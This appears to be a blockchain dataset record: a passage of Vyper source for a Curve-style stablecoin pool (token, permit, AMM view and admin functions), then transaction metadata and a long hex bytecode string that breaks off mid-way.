135305999368893231589, "wad_exp overflow" # `x` is now in the range "(-42, 136) * 1e18". Convert to "(-42, 136) * 2 ** 96" for higher # intermediate precision and a binary base. This base conversion is a multiplication with # "1e18 / 2 ** 96 = 5 ** 18 / 2 ** 78". value = unsafe_div(x << 78, 5 ** 18) # Reduce the range of `x` to "(-½ ln 2, ½ ln 2) * 2 ** 96" by factoring out powers of two # so that "exp(x) = exp(x') * 2 ** k", where `k` is a signer integer. Solving this gives # "k = round(x / log(2))" and "x' = x - k * log(2)". Thus, `k` is in the range "[-61, 195]". k: int256 = unsafe_add(unsafe_div(value << 96, 54916777467707473351141471128), 2 ** 95) >> 96 value = unsafe_sub(value, unsafe_mul(k, 54916777467707473351141471128)) # Evaluate using a "(6, 7)"-term rational approximation. Since `p` is monic, # we will multiply by a scaling factor later. y: int256 = unsafe_add(unsafe_mul(unsafe_add(value, 1346386616545796478920950773328), value) >> 96, 57155421227552351082224309758442) p: int256 = unsafe_add(unsafe_mul(unsafe_add(unsafe_mul(unsafe_sub(unsafe_add(y, value), 94201549194550492254356042504812), y) >> 96,\ 28719021644029726153956944680412240), value), 4385272521454847904659076985693276 << 96) # We leave `p` in the "2 ** 192" base so that we do not have to scale it up # again for the division. q: int256 = unsafe_add(unsafe_mul(unsafe_sub(value, 2855989394907223263936484059900), value) >> 96, 50020603652535783019961831881945) q = unsafe_sub(unsafe_mul(q, value) >> 96, 533845033583426703283633433725380) q = unsafe_add(unsafe_mul(q, value) >> 96, 3604857256930695427073651918091429) q = unsafe_sub(unsafe_mul(q, value) >> 96, 14423608567350463180887372962807573) q = unsafe_add(unsafe_mul(q, value) >> 96, 26449188498355588339934803723976023) # The polynomial `q` has no zeros in the range because all its roots are complex. # No scaling is required, as `p` is already "2 ** 96" too large. Also, # `r` is in the range "(0.09, 0.25) * 2**96" after the division. r: int256 = unsafe_div(p, q) # To finalise the calculation, we have to multiply `r` by: # - the scale factor "s = ~6.031367120", # - the factor "2 ** k" from the range reduction, and # - the factor "1e18 / 2 ** 96" for the base conversion. # We do this all at once, with an intermediate result in "2**213" base, # so that the final right shift always gives a positive value. # Note that to circumvent Vyper's safecast feature for the potentially # negative parameter value `r`, we first convert `r` to `bytes32` and # subsequently to `uint256`. Remember that the EVM default behaviour is # to use two's complement representation to handle signed integers. return unsafe_mul(convert(convert(r, bytes32), uint256), 3822833074963236453042738258902158003155416615667) >> convert(unsafe_sub(195, k), uint256) # ---------------------------- ERC20 Utils ----------------------------------- @view @internal def _domain_separator() -> bytes32: if chain.id != CACHED_CHAIN_ID: return keccak256( _abi_encode( EIP712_TYPEHASH, NAME_HASH, VERSION_HASH, chain.id, self, salt, ) ) return CACHED_DOMAIN_SEPARATOR @internal def _transfer(_from: address, _to: address, _value: uint256): # # NOTE: vyper does not allow underflows # # so the following subtraction would revert on insufficient balance self.balanceOf[_from] -= _value self.balanceOf[_to] += _value log Transfer(_from, _to, _value) @internal def _burnFrom(_from: address, _burn_amount: uint256): self.total_supply -= _burn_amount self.balanceOf[_from] -= _burn_amount log Transfer(_from, empty(address), _burn_amount) @external def transfer(_to : address, _value : uint256) -> bool: """ @dev Transfer token for a specified address @param _to The address to transfer to. @param _value The amount to be transferred. """ self._transfer(msg.sender, _to, _value) return True @external def transferFrom(_from : address, _to : address, _value : uint256) -> bool: """ @dev Transfer tokens from one address to another. @param _from address The address which you want to send tokens from @param _to address The address which you want to transfer to @param _value uint256 the amount of tokens to be transferred """ self._transfer(_from, _to, _value) _allowance: uint256 = self.allowance[_from][msg.sender] if _allowance != max_value(uint256): _new_allowance: uint256 = _allowance - _value self.allowance[_from][msg.sender] = _new_allowance log Approval(_from, msg.sender, _new_allowance) return True @external def approve(_spender : address, _value : uint256) -> bool: """ @notice Approve the passed address to transfer the specified amount of tokens on behalf of msg.sender @dev Beware that changing an allowance via this method brings the risk that someone may use both the old and new allowance by unfortunate transaction ordering: https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 @param _spender The address which will transfer the funds @param _value The amount of tokens that may be transferred @return bool success """ self.allowance[msg.sender][_spender] = _value log Approval(msg.sender, _spender, _value) return True @external def permit( _owner: address, _spender: address, _value: uint256, _deadline: uint256, _v: uint8, _r: bytes32, _s: bytes32 ) -> bool: """ @notice Approves spender by owner's signature to expend owner's tokens. See https://eips.ethereum.org/EIPS/eip-2612. @dev Inspired by https://github.com/yearn/yearn-vaults/blob/main/contracts/Vault.vy#L753-L793 @dev Supports smart contract wallets which implement ERC1271 https://eips.ethereum.org/EIPS/eip-1271 @param _owner The address which is a source of funds and has signed the Permit. @param _spender The address which is allowed to spend the funds. @param _value The amount of tokens to be spent. @param _deadline The timestamp after which the Permit is no longer valid. @param _v The bytes[64] of the valid secp256k1 signature of permit by owner @param _r The bytes[0:32] of the valid secp256k1 signature of permit by owner @param _s The bytes[32:64] of the valid secp256k1 signature of permit by owner @return True, if transaction completes successfully """ assert _owner != empty(address) assert block.timestamp <= _deadline nonce: uint256 = self.nonces[_owner] digest: bytes32 = keccak256( concat( b"\x19\x01", self._domain_separator(), keccak256(_abi_encode(EIP2612_TYPEHASH, _owner, _spender, _value, nonce, _deadline)) ) ) if _owner.is_contract: sig: Bytes[65] = concat(_abi_encode(_r, _s), slice(convert(_v, bytes32), 31, 1)) # reentrancy not a concern since this is a staticcall assert ERC1271(_owner).isValidSignature(digest, sig) == ERC1271_MAGIC_VAL else: assert ecrecover(digest, convert(_v, uint256), convert(_r, uint256), convert(_s, uint256)) == _owner self.allowance[_owner][_spender] = _value self.nonces[_owner] = unsafe_add(nonce, 1) log Approval(_owner, _spender, _value) return True @view @external def DOMAIN_SEPARATOR() -> bytes32: """ @notice EIP712 domain separator. @return bytes32 Domain Separator set for the current chain. """ return self._domain_separator() # ------------------------- AMM View Functions ------------------------------- @view @external def get_dx(i: int128, j: int128, dy: uint256) -> uint256: """ @notice Calculate the current input dx given output dy @dev Index values can be found via the `coins` public getter method @param i Index value for the coin to send @param j Index value of the coin to receive @param dy Amount of `j` being received after exchange @return Amount of `i` predicted """ return StableSwapViews(factory.views_implementation()).get_dx(i, j, dy, self) @view @external def get_dy(i: int128, j: int128, dx: uint256) -> uint256: """ @notice Calculate the current output dy given input dx @dev Index values can be found via the `coins` public getter method @param i Index value for the coin to send @param j Index value of the coin to receive @param dx Amount of `i` being exchanged @return Amount of `j` predicted """ return StableSwapViews(factory.views_implementation()).get_dy(i, j, dx, self) @view @external def calc_withdraw_one_coin(_burn_amount: uint256, i: int128) -> uint256: """ @notice Calculate the amount received when withdrawing a single coin @param _burn_amount Amount of LP tokens to burn in the withdrawal @param i Index value of the coin to withdraw @return Amount of coin received """ return self._calc_withdraw_one_coin(_burn_amount, i)[0] @view @external @nonreentrant('lock') def totalSupply() -> uint256: """ @notice The total supply of pool LP tokens @return self.total_supply, 18 decimals. """ return self.total_supply @view @external @nonreentrant('lock') def get_virtual_price() -> uint256: """ @notice The current virtual price of the pool LP token @dev Useful for calculating profits. The method may be vulnerable to donation-style attacks if implementation contains rebasing tokens. For integrators, caution is advised. @return LP token virtual price normalized to 1e18 """ amp: uint256 = self._A() xp: DynArray[uint256, MAX_COINS] = self._xp_mem( self._stored_rates(), self._balances() ) D: uint256 = self.get_D(xp, amp) # D is in the units similar to DAI (e.g. converted to precision 1e18) # When balanced, D = n * x_u - total virtual value of the portfolio return D * PRECISION / self.total_supply @view @external def calc_token_amount( _amounts: DynArray[uint256, MAX_COINS], _is_deposit: bool ) -> uint256: """ @notice Calculate addition or reduction in token supply from a deposit or withdrawal @param _amounts Amount of each coin being deposited @param _is_deposit set True for deposits, False for withdrawals @return Expected amount of LP tokens received """ return StableSwapViews(factory.views_implementation()).calc_token_amount(_amounts, _is_deposit, self) @view @external def A() -> uint256: return unsafe_div(self._A(), A_PRECISION) @view @external def A_precise() -> uint256: return self._A() @view @external def balances(i: uint256) -> uint256: """ @notice Get the current balance of a coin within the pool, less the accrued admin fees @param i Index value for the coin to query balance of @return Token balance """ return self._balances()[i] @view @external def get_balances() -> DynArray[uint256, MAX_COINS]: return self._balances() @view @external def stored_rates() -> DynArray[uint256, MAX_COINS]: return self._stored_rates() @view @external def dynamic_fee(i: int128, j: int128) -> uint256: """ @notice Return the fee for swapping between `i` and `j` @param i Index value for the coin to send @param j Index value of the coin to receive @return Swap fee expressed as an integer with 1e10 precision """ return StableSwapViews(factory.views_implementation()).dynamic_fee(i, j, self) # --------------------------- AMM Admin Functions ---------------------------- @external def ramp_A(_future_A: uint256, _future_time: uint256): assert msg.sender == factory.admin() # dev: only owner assert block.timestamp >= self.initial_A_time + MIN_RAMP_TIME assert _future_time >= block.timestamp + MIN_RAMP_TIME # dev: insufficient time _initial_A: uint256 = self._A() _future_A_p: uint256 = _future_A * A_PRECISION assert _future_A > 0 and _future_A < MAX_A if _future_A_p < _initial_A: assert _future_A_p * MAX_A_CHANGE >= _initial_A else: assert _future_A_p <= _initial_A * MAX_A_CHANGE self.initial_A = _initial_A self.future_A = _future_A_p self.initial_A_time = block.timestamp self.future_A_time = _future_time log RampA(_initial_A, _future_A_p, block.timestamp, _future_time) @external def stop_ramp_A(): assert msg.sender == factory.admin() # dev: only owner current_A: uint256 = self._A() self.initial_A = current_A self.future_A = current_A self.initial_A_time = block.timestamp self.future_A_time = block.timestamp # now (block.timestamp < t1) is always False, so we return saved A log StopRampA(current_A, block.timestamp) @external def set_new_fee(_new_fee: uint256, _new_offpeg_fee_multiplier: uint256): assert msg.sender == factory.admin() # set new fee: assert _new_fee <= MAX_FEE self.fee = _new_fee # set new offpeg_fee_multiplier: assert _new_offpeg_fee_multiplier * _new_fee <= MAX_FEE * FEE_DENOMINATOR # dev: offpeg multiplier exceeds maximum self.offpeg_fee_multiplier = _new_offpeg_fee_multiplier log ApplyNewFee(_new_fee, _new_offpeg_fee_multiplier) @external def set_ma_exp_time(_ma_exp_time: uint256, _D_ma_time: uint256): """ @notice Set the moving average window of the price oracles. @param _ma_exp_time Moving average window for the price oracle. It is time_in_seconds / ln(2). @param _D_ma_time Moving average window for the D oracle. It is time_in_seconds / ln(2). """ assert msg.sender == factory.admin() # dev: only owner assert unsafe_mul(_ma_exp_time, _D_ma_time) > 0 # dev: 0 in input values self.ma_exp_time = _ma_exp_time self.D_ma_time = _D_ma_time log SetNewMATime(_ma_exp_time, _D_ma_time)
1
19,493,273
7db67e7e29a3f6d46b8152d950a63b101f5b04a8063bd54fbb6ee1d9d3fb1dba
9326a1f38c67978c78f70f9d4483da528ccf1c30163faf348b24819949c8eb1d
994d5147c315b31f997d8d24b0f8ce7a9557ad31
6a8cbed756804b16e05e741edabd5cb544ae21bf
5d0bb2c582e9298e33e8d2fba3d5a278a8f28553
6129c551503461035a576020612cd95f395f518060a01c61035a57604052604051600d5533600b5532600c556040516395d89b4160a052606060a0600460bc845afa61004d573d5f5f3e3d5ffd5b60403d1061035a5760a05160a001602081511161035a5780516101205260208101516101405250610120905080516060526020810151608052505f6009610100527f43757276652e666920000000000000000000000000000000000000000000000061012052610100805160208201836101a00181518152505080830192505050606051816101a001608051815250808201915050600e610140527f204761756765204465706f73697400000000000000000000000000000000000061016052610140805160208201836101a001815181525050808301925050508061018052610180905060208151018060a0828460045afa505050602060a051015f81601f0160051c6003811161035a57801561017957905b8060051b60a001518160040155600101818118610161575b5050505f60605181610160016080518152508082019150506006610100527f2d67617567650000000000000000000000000000000000000000000000000000610120526101008051602082018361016001815181525050808301925050508061014052610140905060208151015f81601f0160051c6003811161035a57801561021557905b8060051b84015181600701556001018181186101fe575b505050504260235563b26b238e610100526020610100600461011c5f73d533a949740bb3306d119cc777fa900ba034cd525af1610254573d5f5f3e3d5ffd5b60203d1061035a576101005160d81b632c4e722e610140526020610140600461015c73d533a949740bb3306d119cc777fa900ba034cd525afa610299573d5f5f3e3d5ffd5b60203d1061035a576101405180820182811061035a5790509050600f5560a05160c0206129655260014303406129a55246612985527f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6101205261296551610140527f71916ddf3efd1d13d14899519c9cd193fa3f9be07ea852717d2f225de1eb2466610160524661018052306101a0526129a5516101c05260c0610100526101008051602082012090506129c55261296561035e610000396129e5610000f35b5f80fd5f3560e01c6002603f821660011b6128e501601e395f51565b63bfa0b133811861003657346128e15760206129a560403960206040f35b63095ea7b38118611c2d576044361034176128e1576004358060a01c6128e1576040526024356003336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560243560605260206060a3600160605260206060f3611c2d565b6370a0823181186100f2576024361034176128e1576004358060a01c6128e15760405260016040516020525f5260405f205460605260206060f35b6301ddabf18118611c2d576024361034176128e1576004358060a01c6128e15760405260126040516020525f5260405f205460605260206060f3611c2d565b6318160ddd811861014d57346128e15760025460405260206040f35b6323b872dd8118611c2d576064361034176128e1576004358060a01c6128e1576103a0526024358060a01c6128e1576103c0525f546002146128e15760025f5560036103a0516020525f5260405f2080336020525f5260405f209050546103e0527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6103e0511461020b576103e0516044358082038281116128e1579050905060036103a0516020525f5260405f2080336020525f5260405f209050555b6103a0516102e0526103c051610300526044356103205261022a612779565b600161040052602061040060035f55f3611c2d565b63dd62ed3e8118610297576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260036040516020525f5260405f20806060516020525f5260405f2090505460805260206080f35b6384e9bd7e8118611c2d576024361034176128e1576004358060a01c6128e1576102e0525f61030052610f3a56611c2d565b6306fdde03811861034457346128e157602080604052806040016020600454015f81601f0160051c600381116128e157801561031857905b80600401548160051b850152600101818118610301575b5050508051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b63331345838118611c2d576024361034176128e1576004358060a01c6128e1576102805261028051604052610377611cc4565b6019610280516020525f5260405f2054638b752bb06102a052610280516102c052306102e05260206102a060446102bc73d061d61a4d941c39e5453435b6345dc261c2fce05afa6103ca573d5f5f3e3d5ffd5b60203d106128e1576102a0518082038281116128e15790509050610300526020610300f3611c2d565b6395d89b418118611c2d57346128e157602080604052806040016020600754015f81601f0160051c600381116128e157801561044257905b80600701548160051b85015260010181811861042b575b5050508051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f3611c2d565b637ecebe0081146003361116156104b3576024361034176128e1576004358060a01c6128e157604052600a6040516020525f5260405f205460605260206060f35b639c868ac08118611c2d57346128e157600e5460405260206040f3611c2d565b63c45a015581186104ef57346128e157600b5460405260206040f35b633644e5158118611c2d57346128e157602061050c610120611c31565b610120f3611c2d565b63481c6a75811861053157346128e157600c5460405260206040f35b6396c551758118611c2d576024361034176128e1576004358060a01c6128e157610280526018610280516020525f5260405f20546102a05263da020a1861032052610280516103405263010ae7576102e052610280516103005260206102e060246102fc735f3b5dfeb7b28cdbd7faba78963ee202a494e2a25afa6105b8573d5f5f3e3d5ffd5b60203d106128e1576102e051610360526020610320604461033c735f3b5dfeb7b28cdbd7faba78963ee202a494e2a25afa6105f5573d5f5f3e3d5ffd5b60203d106128e157610320516102c0526001610280516020525f5260405f20546102e0526370a082316103005261028051610320526020610300602461031c735f3b5dfeb7b28cdbd7faba78963ee202a494e2a25afa610657573d5f5f3e3d5ffd5b60203d106128e1576103005161066e576001610678565b6102a0516102c051115b156128e1576102e051602881028160288204186128e15790506064810490506015610280516020525f5260405f205411156128e157610280516040526106bc611cc4565b610280516040526001610280516020525f5260405f20546060526002546080526106e46125c3565b00611c2d565b6382c630668118611c2d57346128e157600d5460405260206040f3611c2d565b63963c94b98118611c2d57346128e15760105460405260206040f3611c2d565b6348e9c65e8118611c2d576024361034176128e1576004358060a01c6128e15760405260116040516020525f5260405f2080546060526001810154608052600281015460a052600381015460c052600481015460e0526005810154610100525060c06060f3611c2d565b63f05cc0588118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260136040516020525f5260405f20806060516020525f5260405f2090505460805260206080f3611c2d565b6313ecb1ca8118611c2d576024361034176128e1576004358060a01c6128e15760405260156040516020525f5260405f205460605260206060f3611c2d565b6317e280898118611c2d57346128e15760165460405260206040f3611c2d565b63de263bfa8118611c2d576024361034176128e1576004358060a01c6128e15760405260176040516020525f5260405f205460605260206060f3611c2d565b639bd324f281186108c9576024361034176128e1576004358060a01c6128e15760405260186040516020525f5260405f205460605260206060f35b63e6f1daf28118611c2d57346128e157336102e0525f61030052610f3a56611c2d565b63094007078118610927576024361034176128e1576004358060a01c6128e15760405260196040516020525f5260405f205460605260206060f35b6383df67478118611c2d576064361034176128e1576024358060a01c6128e1576102e0526044358060011c6128e157610300525b5f546002146128e15760025f556102e051156128e1576102e051604052610980611cc4565b60043515610af2576010541515610320526002546103405261032051156109c2576102e05160405261034051606052610300516080525f60a0526109c26121f9565b610340516004358082018281106128e157905090506103405260016102e0516020525f5260405f20546004358082018281106128e15790509050610360526103605160016102e0516020525f5260405f2055610340516002556102e0516040526103605160605261034051608052610a386125c3565b600d546323b872dd61038052336103a052306103c0526004356103e0526020610380606461039c5f855af1610a6f573d5f5f3e3d5ffd5b60203d106128e157610380518060011c6128e1576104005261040050506102e0517fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c600435610380526020610380a26102e0515f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600435610380526020610380a35b60035f5500611c2d565b63ef78d4fd8118611c2d57346128e157601a5460405260206040f3611c2d565b6354c49fe98118610b49576024361034176128e157600435600781116128e157601b015460405260206040f35b63be5d1be98118611c2d57346128e157600f5460d81c60405260206040f3611c2d565b637598108c8118610ba5576024361034176128e1576004356c01431e0fae6d7217ca9fffffff81116128e1576023015460405260206040f35b63fec8ee0c8118611c2d576024361034176128e1576004356c01431e0fae6d7217ca9fffffff81116128e1576c01431e0fae6d7217caa0000023015460405260206040f3611c2d565b63b6b55f258118610c12576024361034176128e157336102e0525f6103005261095b565b636e553f658118611c2d576044361034176128e1576024358060a01c6128e1576102e0525f6103005261095b56611c2d565b632e1a7d4d8118610c63576024361034176128e1575f6102e052610d88565b63e8de0d4d8118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605233600c548118610ca5576001610ce8565b600b5463f851a44060e052602060e0600460fc845afa610cc7573d5f5f3e3d5ffd5b60203d106128e15760e0518060a01c6128e157610120526101209050518118155b9050156128e157606051156128e1576010546080526007608051116128e15760116040516020525f5260405f20600181019050546128e15760605160116040516020525f5260405f2060018101905055604051608051600781116128e157601b0155608051600181018181106128e157905060105500611c2d565b6338d074368118611c2d576044361034176128e1576024358060011c6128e1576102e0525b5f546002146128e15760025f5533604052610da1611cc4565b60043515610e9d57601054151561030052600254610320526103005115610de05733604052610320516060526102e0516080525f60a052610de06121f9565b610320516004358082038281116128e15790509050610320526001336020525f5260405f20546004358082038281116128e1579050905061034052610340516001336020525f5260405f205561032051600255336040526103405160605261032051608052610e4d6125c3565b600d5463a9059cbb6103605233610380526004356103a0526020610360604461037c5f855af1610e7f573d5f5f3e3d5ffd5b60203d106128e157610360518060011c6128e1576103c0526103c050505b337f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364600435610300526020610300a25f337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600435610300526020610300a360035f5500611c2d565b639faceb1b8118611c2d576044361034176128e1576004358060a01c6128e1576102e0526024358060a01c6128e157610300525b5f546002146128e15760025f556103005115610f5b57336102e051186128e1575b6102e05160405260025460605260016080526103005160a052610f7c6121f9565b60035f5500611c2d565b63a9059cbb8118611c2d576044361034176128e1576004358060a01c6128e1576103a0525f546002146128e15760025f55336102e0526103a0516103005260243561032052610fd3612779565b60016103c05260206103c060035f55f3611c2d565b63d505accf8118611c2d5760e4361034176128e1576004358060a01c6128e157610120526024358060a01c6128e157610140526084358060081c6128e1576101605261012051156128e15760643542116128e157600a610120516020525f5260405f2054610180525f60026101c0527f19010000000000000000000000000000000000000000000000000000000000006101e0526101c08051602082018361032001815181525050808301925050506110a2610200611c31565b610200518161032001526020810190507f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c961024052610120516102605261014051610280526044356102a052610180516102c0526064356102e05260c061022052610220805160208201209050816103200152602081019050806103005261030090508051602082012090506101a052610120515f610240526101a0516101c052610160516101e052604060a461020037602061024060806101c060015afa5061024051186128e1576044356003610120516020525f5260405f2080610140516020525f5260405f2090505560016101805101600a610120516020525f5260405f205561014051610120517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256044356101c05260206101c0a360016101c05260206101c0f3611c2d565b63395093518118611c2d576044361034176128e1576004358060a01c6128e1576040526003336020525f5260405f20806040516020525f5260405f209050546024358082018281106128e157905090506060526060516003336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560605160805260206080a3600160805260206080f3611c2d565b63a457c2d7811861134a576044361034176128e1576004358060a01c6128e1576040526003336020525f5260405f20806040516020525f5260405f209050546024358082038281116128e157905090506060526060516003336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560605160805260206080a3600160805260206080f35b6390b229978118611c2d576024361034176128e1576004358060011c6128e157604052600b5463f851a440606052602060606004607c845afa61138f573d5f5f3e3d5ffd5b60203d106128e1576060518060a01c6128e15760a05260a090505133186128e157604051600e5500611c2d565b634b8200938118611c2d576024361034176128e1576004358060a01c6128e15761028052336102805181186113f257600161140b565b73d061d61a4d941c39e5453435b6345dc261c2fce08118155b9050156128e15761028051604052611421611cc4565b610280516040526001610280516020525f5260405f20546060526002546080526114496125c3565b60016102a05260206102a0f3611c2d565b63bdf981168118611c2d576024361034176128e1576004358060a01c6128e1576040526040516012336020525f5260405f205500611c2d565b63aace1d488118611c2d576024361034176128e1576004358060a01c6128e15760405233600c5481186114c757600161150a565b600b5463f851a44060c052602060c0600460dc845afa6114e9573d5f5f3e3d5ffd5b60203d106128e15760c0518060a01c6128e157610100526101009050518118155b9050156128e157604051600c557fe83c80a0349150991cb09b4c940149ac4c37cb03673b6c0c669b4da27865c28b60405160605260206060a100611c2d565b6393f7aa67811861156b576044361034176128e15762093a80610300526115a7565b63313ce5678118611c2d57346128e157601260405260206040f3611c2d565b6333b50aed8118611826576064361034176128e157604435610300525b6004358060a01c6128e1576102e0525f546002146128e15760025f5560116102e0516020525f5260405f206001810190505433186128e1575f6040526002546060526040366080376115f76121f9565b6102e0516370a082316103405230610360526020610340602461035c845afa611622573d5f5f3e3d5ffd5b60203d106128e157610340905051610320526102e0516323b872dd61034052336103605230610380526024356103a0526020610340606461035c5f855af161166c573d5f5f3e3d5ffd5b3d61168357803b156128e15760016103c05261169c565b60203d106128e157610340518060011c6128e1576103c0525b6103c0905051156128e1576102e0516370a082316103405230610360526020610340602461035c845afa6116d2573d5f5f3e3d5ffd5b60203d106128e157610340905051610320518082038281116128e157905090506103205260116102e0516020525f5260405f206002810190505461034052610300516103205111156128e157610340514210156117b45761034051428082038281116128e15790509050610360526103605160116102e0516020525f5260405f20600381019050548082028115838383041417156128e157905090506103805261032051610380518082018281106128e157905090506103005180156128e1578082049050905060116102e0516020525f5260405f20600381019050556117e0565b610320516103005180156128e1578082049050905060116102e0516020525f5260405f20600381019050555b4260116102e0516020525f5260405f206004810190505542610300518082018281106128e1579050905060116102e0516020525f5260405f206002810190505560035f55005b63d31f3f6d8118611c2d57346128e157601a546c01431e0fae6d7217ca9fffffff81116128e1576023015460405260206040f3611c2d565b63058a3a248118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260116040516020525f5260405f20600181019050546080523360805181186118b857600161190f565b600b5463f851a440610100526020610100600461011c845afa6118dd573d5f5f3e3d5ffd5b60203d106128e157610100518060a01c6128e15761014052610140905051811861190857600161190f565b600c548118155b9050156128e157608051156128e157606051156128e15760605160116040516020525f5260405f206001810190505500611c2d565b63e77e74378118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260146040516020525f5260405f20806060516020525f5260405f209050546fffffffffffffffffffffffffffffffff8116905060805260206080f3611c2d565b6333fd6f748118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260116060516020525f5260405f206005810190505460805260025460a05260a05115611aca574260116060516020525f5260405f20600281019050548082811882841002189050905060c05260c05160116060516020525f5260405f20600481019050548082038281116128e1579050905060e05260805160e05160116060516020525f5260405f20600381019050548082028115838383041417156128e15790509050670de0b6b3a7640000810281670de0b6b3a76400008204186128e157905060a05180156128e157808204905090508082018281106128e157905090506080525b60136060516020525f5260405f20806040516020525f5260405f2090505460c05260016040516020525f5260405f205460805160c0518082038281116128e157905090508082028115838383041417156128e15790509050670de0b6b3a76400008104905060e05260146040516020525f5260405f20806060516020525f5260405f2090505460801c60e0518082018281106128e15790509050610100526020610100f3611c2d565b63180692d08118611baf57346128e157600f547affffffffffffffffffffffffffffffffffffffffffffffffffffff8116905060405260206040f35b6354fd4d508118611c2d57346128e15760208060805260066040527f76362e312e30000000000000000000000000000000000000000000000000000060605260408160800181518152602082015160208201528051806020830101601f825f03163682375050601f19601f8251602001011690509050810190506080f35b5f5ffd5b60206129855f395f514614611cb9577f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f60605260206129656080397f71916ddf3efd1d13d14899519c9cd193fa3f9be07ea852717d2f225de1eb246660a0524660c0523060e05260206129a56101003960c06040526040805160208201209050815250611cc2565b60206129c58239505b565b601a546060526060516c01431e0fae6d7217ca9fffffff81116128e157602301546080526060516c01431e0fae6d7217ca9fffffff81116128e1576c01431e0fae6d7217caa0000023015460a052600f5460c05260c05160d81c60e052600e546101005260c0517affffffffffffffffffffffffffffffffffffffffffffffffffffff811690506101205261012051610140526101005115611d6857604036610120375b60805160e05110611e265763b26b238e610180526020610180600461019c5f73d533a949740bb3306d119cc777fa900ba034cd525af1611daa573d5f5f3e3d5ffd5b60203d106128e157610180516101605261010051611e0957632c4e722e610180526020610180600461019c73d533a949740bb3306d119cc777fa900ba034cd525afa611df8573d5f5f3e3d5ffd5b60203d106128e15761018051610140525b6101605160d81b610140518082018281106128e15790509050600f555b6080514211156120fa576016546101605263615e523761018052306101a052732f50d538606fa9edd2b11e2446beb18c9d5846bb3b156128e1575f610180602461019c5f732f50d538606fa9edd2b11e2446beb18c9d5846bb5af1611e8d573d5f5f3e3d5ffd5b6080516101805260805162093a8081018181106128e157905062093a808104905062093a8081028162093a808204186128e157905042808281188284100218905090506101a0525f6101f4905b806101c0526101a051610180518082038281116128e157905090506101e05263d3078c9461022052306102405261018051610260526020610220604461023c732f50d538606fa9edd2b11e2446beb18c9d5846bb5afa611f3c573d5f5f3e3d5ffd5b60203d106128e157610220516102005261016051156120b0576101805160e0511015611f68575f611f71565b6101a05160e051105b611fd35760a05161012051610200518082028115838383041417156128e157905090506101e0518082028115838383041417156128e157905090506101605180156128e157808204905090508082018281106128e1579050905060a0526120b0565b60a05161012051610200518082028115838383041417156128e1579050905060e051610180518082038281116128e157905090508082028115838383041417156128e157905090506101605180156128e157808204905090508082018281106128e1579050905060a052610140516101205260a05161012051610200518082028115838383041417156128e157905090506101a05160e0518082038281116128e157905090508082028115838383041417156128e157905090506101605180156128e157808204905090508082018281106128e1579050905060a0525b426101a051186120bf576120f7565b6101a051610180526101a05162093a8081018181106128e157905042808281188284100218905090506101a052600101818118611eda575b50505b6060516001810180600f0b81186128e1579050606052606051601a55426060516c01431e0fae6d7217ca9fffffff81116128e1576023015560a0516060516c01431e0fae6d7217ca9fffffff81116128e1576c01431e0fae6d7217caa0000023015560156040516020525f5260405f20546101605260196040516020525f5260405f2080546101605160a05160176040516020525f5260405f20548082038281116128e157905090508082028115838383041417156128e15790509050670de0b6b3a7640000810490508082018281106128e1579050905081555060a05160176040516020525f5260405f20554260186040516020525f5260405f2055565b5f60c05260a05160e052604051156122545760016040516020525f5260405f205460c05260805161222a575f61222f565b60a051155b156122545760126040516020525f5260405f205460e05260e0516122545760405160e0525b601054610100525f6008905b8061012052610100516101205118612277576125bf565b61012051600781116128e157601b0154610140526011610140516020525f5260405f206005810190505461016052426011610140516020525f5260405f20600281019050548082811882841002189050905061018052610180516011610140516020525f5260405f20600481019050548082038281116128e157905090506101a0526101a0511561230c57606051151561230e565b5f5b156123ba57610180516011610140516020525f5260405f2060048101905055610160516101a0516011610140516020525f5260405f20600381019050548082028115838383041417156128e15790509050670de0b6b3a7640000810281670de0b6b3a76400008204186128e157905060605180156128e157808204905090508082018281106128e1579050905061016052610160516011610140516020525f5260405f20600581019050555b604051156125b4576013610140516020525f5260405f20806040516020525f5260405f209050546101c0525f6101e052610160516101c051101561245a57610160516013610140516020525f5260405f20806040516020525f5260405f2090505560c051610160516101c0518082038281116128e157905090508082028115838383041417156128e15790509050670de0b6b3a7640000810490506101e0525b60146040516020525f5260405f2080610140516020525f5260405f20905054610200526102005160801c6101e0518082018281106128e157905090506102205261022051156125b457610200516fffffffffffffffffffffffffffffffff811690506102405260805161250d576101e051156125b457610240516102205160801b8082018281106128e1579050905060146040516020525f5260405f2080610140516020525f5260405f209050556125b4565b6101405163a9059cbb6102605260e05161028052610220516102a0526020610260604461027c5f855af1612543573d5f5f3e3d5ffd5b3d61255a57803b156128e15760016102c052612573565b60203d106128e157610260518060011c6128e1576102c0525b6102c0905051156128e15761024051610220518082018281106128e1579050905060146040516020525f5260405f2080610140516020525f5260405f209050555b600101818118612260575b5050565b63bbf7408a60c05260405160e052602060c0602460dc738e0c00ed546602fd9927df742bbabf726d5b0d165afa6125fc573d5f5